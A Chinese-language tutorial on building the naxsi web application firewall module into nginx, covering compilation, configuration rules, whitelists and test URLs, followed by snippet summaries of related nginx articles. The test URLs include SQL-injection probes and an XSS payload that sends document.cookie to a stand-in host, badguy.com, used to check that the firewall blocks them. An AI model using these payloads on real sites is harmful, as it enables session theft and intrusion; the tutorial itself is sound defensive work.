== 对于nginx有相应模块来完成WAF构建,此处使用的是naxsi模块。 ==
Naxsi是一个开放源代码、高效、低维护规则的Nginx web应用防火墙模块。Naxsi的主要目标是帮助人们加固他们的web应用程序,以抵御SQL注入、跨站脚本、跨域伪造请求、本地和远程文件包含漏洞。
一、安装前提
1.必须安装了nginx并可提供基本服务(这个是添加模块儿的前提,自己google吧);
2.下载naxsi模块:Naxsi :http://naxsi.googlecode.com/files/naxsi-core-0.50.tgz ;
二、安装说明
1、tar -xzvf naxsi-core-0.50.tgz 解压,并进入naxsi-core-0.50/naxsi_src目录下;
2、执行make & make install 命令,当然也可以使用 ./configure 指定安装位置等参数;
3、完成安装后,需要将其与nginx关联起来:
》》在安装好的nginx/sbin/下执行./nginx -V 命令,可以查看到nginx的原有./configure配置,复制后并添加naxsi模块的路径如下。
对于此次安装 cd /app/uatg1/lua_install/tengine-1.4.1(nginx的源文件目录)下
执行命令:./configure --prefix=/app/uatg1/nginx --conf-path=/app/uatg1/nginx/conf/nginx.conf 。。。。。。等原有的。
添加:--add-module=/app/uatg1/lua_install/naxsi-core-0.50/naxsi_src
可以看到执行过程显示,最后可以看到,naxsi被关联,configure成功。
4、对其执行 make & make install 命令,重新编译;
三、配置说明
官网说明见 : http://code.google.com/p/naxsi/wiki/Howto#Installing_nginx_+_naxsi ;
1、将naxsi的:naxsi-core-0.50/naxsi_config/目录下核心配置naxsi_core.rules拷贝到nginx/conf/目录下;
2、在nginx/conf/目录下新建naxsi_nbs.rules文件,用以配置使用;
3、在nginx.conf中配置:
1>、添加naxsi核心配置
http {
#include /app/uatg1/lua_install/naxsi-core-0.50/naxsi_config/naxsi_core.rules;
#若步做上第一步,则需要指定全路径
include naxsi_core.rules;
include mime.types;
.....
}
2>、
# 配置防攻击
location /xss {
include naxsi_nbs.rules; #配置信息 #include naxsi_BasicRule.conf; #设置 whitelist (白名单)配置
default_type text/plain;
content_by_lua '
ngx.say("({\'Test xss ,come in please!!!\'})");
';
root html;
}
location /RequestDenied {
return 403;
#proxy_pass [http://10.142.138.61:7130/eop/; http://10.142.138.61:7130/eop/;
]}
error_page 403 /403.html; # 在nginx/html/目录下新建的页面用来提示拦截
3>、配置naxsi_nbs.rules文件
#LearningMode; #Enables learning mode
SecRulesEnabled;
#SecRulesDisabled;
DeniedUrl "/RequestDenied";
## check rules
CheckRule "$SQL >= 8" BLOCK;
CheckRule "$RFI >= 8" BLOCK;
CheckRule "$TRAVERSAL >= 4"
BLOCK; CheckRule "$EVADE >= 4" BLOCK;
CheckRule "$XSS >= 8" BLOCK;
4、还可以添加白名单naxsi_BasicRule.conf
测试使用:
BasicRule wl:0 "mz:$ARGS_VAR:script";
BasicRule wl:0 "mz:$ARGS_VAR:id";
表示xss攻击正常是被拦截的,若被添加白名单,则不被拦截:此处是Get 参数名若为id 或者script,则不被拦截;
BasicRule:规则说明,具体参见: http://code.google.com/p/naxsi/wiki/BasicRule
wl:ID (WhiteList): Which rule ID(s) are whitelisted.
mz: (MatchZones): Specify the conditions to match for the rule to be whitelisted. A MatchZone must be specified in a nginx location context to enable a rule.
◦ARGS : GET args
◦HEADERS : HTTP Headers
◦BODY : POST args
◦URL : The URL (before '?')
◦NAME : It's a suffix, indicating that the target element is the NAME of the var, not its content.
For example a whitelist targetting BODY|NAME means that the exception were triggered in the "name" of some POST (BODY) variables.
四、测试使用说明
1、启动nginx(若已经启动,kill掉原来执行的nginx),再重新启动,这点要切记!
2、测试链接:
http://10.142.138.61:8888/xss/ 通过
http://10.142.138.61:8888/xss/?id=40/**/and/**/1=1 通过,因为配置到白名单
http://10.142.138.61:8888/xss/?name=40/**/and/**/1=1 不通过,含有条件注入
http://10.142.138.61:8888/xss/?name=%28%29 不通过,特殊字符
http://10.142.138.61:8888/xss/?term=%3Cscript%3Ewindow.open%28%22http://badguy.com?cookie=%22+document.cookie%29%3C/script%3E
不通过,参数内容含脚本注入
http://10.142.138.61:8888/xss/?title=meta%20http-equiv=%22refresh%22%20content=%220;%22
不通过
相关推荐
本文将详细介绍如何在Linux下安装及配置nginx+naxsi,包括安装nginx和naxsi、编译安装nginx、配置naxsi规则、设置阻断的Location、重启nginx等步骤。 首先,需要安装gcc-c++、openSSL、pcre等相关包,以便编译安装...
防止sql注入最好的办法是对于提交后台的所有数据都进行过滤转义。 对于简单的情况,比如包含单引号’ , 分号;, <, >, 等字符可通过rewrite直接重订向到404页面来避免。 用rewrite有个前提需要知道,一般用rewrite...
Nginx完整配置说明 Nginx是当前最流行的Web服务器软件之一,常用于搭建Web服务器、反向代理服务器、负载均衡器等。下面是Nginx的完整配置说明,涵盖基本配置、反向代理、FastCGI等方面的知识点。 一、基本配置 在...
### Nginx 使用及配置详解:与Tomcat的协同工作 #### 一、Nginx简介 Nginx是一款高性能的HTTP服务器和反向代理服务器,由Igor Sysoev编写,于2004年首次发布。它以其高并发处理能力、低内存消耗和稳定性而著称,在...
Naxsi是一个强大的Web应用程序防火墙(WAF),它作为Nginx的一个模块运行,用于保护网站免受各种类型的攻击,如SQL注入、XSS、CSRF等。Naxsi的核心在于其规则引擎,该引擎解析并执行由`naxsi_core.rules`配置文件...
在编译和安装Nginx之前,我们需要配置编译选项。打开配置脚本并添加必要的模块,例如`--with-http_ssl_module`以启用HTTPS支持: ```bash ./configure --prefix=/usr/local/nginx --with-http_ssl_module ``` 完成...
Nginx-Naxsi是一个强大的Web应用防火墙模块,用于保护服务器免受潜在的恶意攻击,如SQL注入、跨站脚本(XSS)等。Naxsi通过定义一系列规则来检测和阻止这些攻击。然而,有时我们需要对某些特定的合法请求进行豁免,...
Nginx配置文件(nginx.conf)配置详解 Nginx配置文件(nginx.conf)是Nginx服务器的核心配置文件,用于定义Nginx服务器的行为和配置。下面是Nginx配置文件的详细配置解释: 用户和组 Nginx配置文件中指定了用户和组,...
在Windows平台上,使用Nginx作为Web服务器时,配置文件的管理和更新是日常运维工作的重要环节。当Nginx的配置文件被修改后,通常需要手动执行`nginx -s reload`命令来使改动生效,这在频繁调整配置时可能会显得繁琐...
这个漏洞的成因是因为 Nginx 的配置文件中没有正确地设置文件扩展名的限制,从而导致攻击者可以上传恶意文件。 预防方法: * 设置文件扩展名的限制,例如只允许上传特定的文件类型。 * 使用白名单机制,只允许上传...
总结来说,Naxsi是Nginx安全体系中的重要一环,通过灵活的规则设置和高效的检测机制,为企业和开发者提供了一道坚固的防线,防止Web应用遭受XSS和SQL注入等常见攻击。熟练掌握Naxsi的配置和使用,能有效提升网站的...
接下来,我们需要配置Nginx以使用这个自签名证书: 1. **检查Nginx是否支持SSL**:运行`nginx -V`,如果输出中包含`--with-http_ssl_module`,说明Nginx已经编译了SSL支持。如果没有,需要重新编译Nginx并添加`--...
- 对于负载均衡,可以通过在Nginx配置文件中定义多个后端服务器,并使用`proxy_pass`指令来实现。 ```nginx upstream backend { server backend1.example.com; server backend2.example.com; } server { ...
要统计Nginx的访问数量,可以使用`access_log`指令记录日志,然后通过外部工具如`awstats`或`logrotate`进行分析。例如: ```nginx access_log /var/log/nginx/access.log combined; ``` `combined`是日志格式,...
本篇文章将详细介绍Nginx的各项配置,并结合提供的"nginx.conf"配置文件和"nginx.txt"说明文件,深入解析Nginx的配置语法和应用场景。** ### 1. Nginx基本结构 Nginx的配置文件主要由多个块组成,包括全局块、...
使用WebUI配置nginx的各项功能, 包括http协议转发, tcp协议转发, 反向代理, 负载均衡, ssl证书自动申请、续签、配置等, 最终生成nginx.conf文件并覆盖nginx的默认配置文件, 完成nginx的最终功能配置。 支持nginx...
以下是对Nginx防攻击策略的详细阐述: **问题一:SSH无法登陆与"welcome to nginx!"** 当用户打开网站只看到“welcome to nginx!”的欢迎页,而无法通过SSH登录,这可能是因为网站的配置文件被移动或篡改,导致...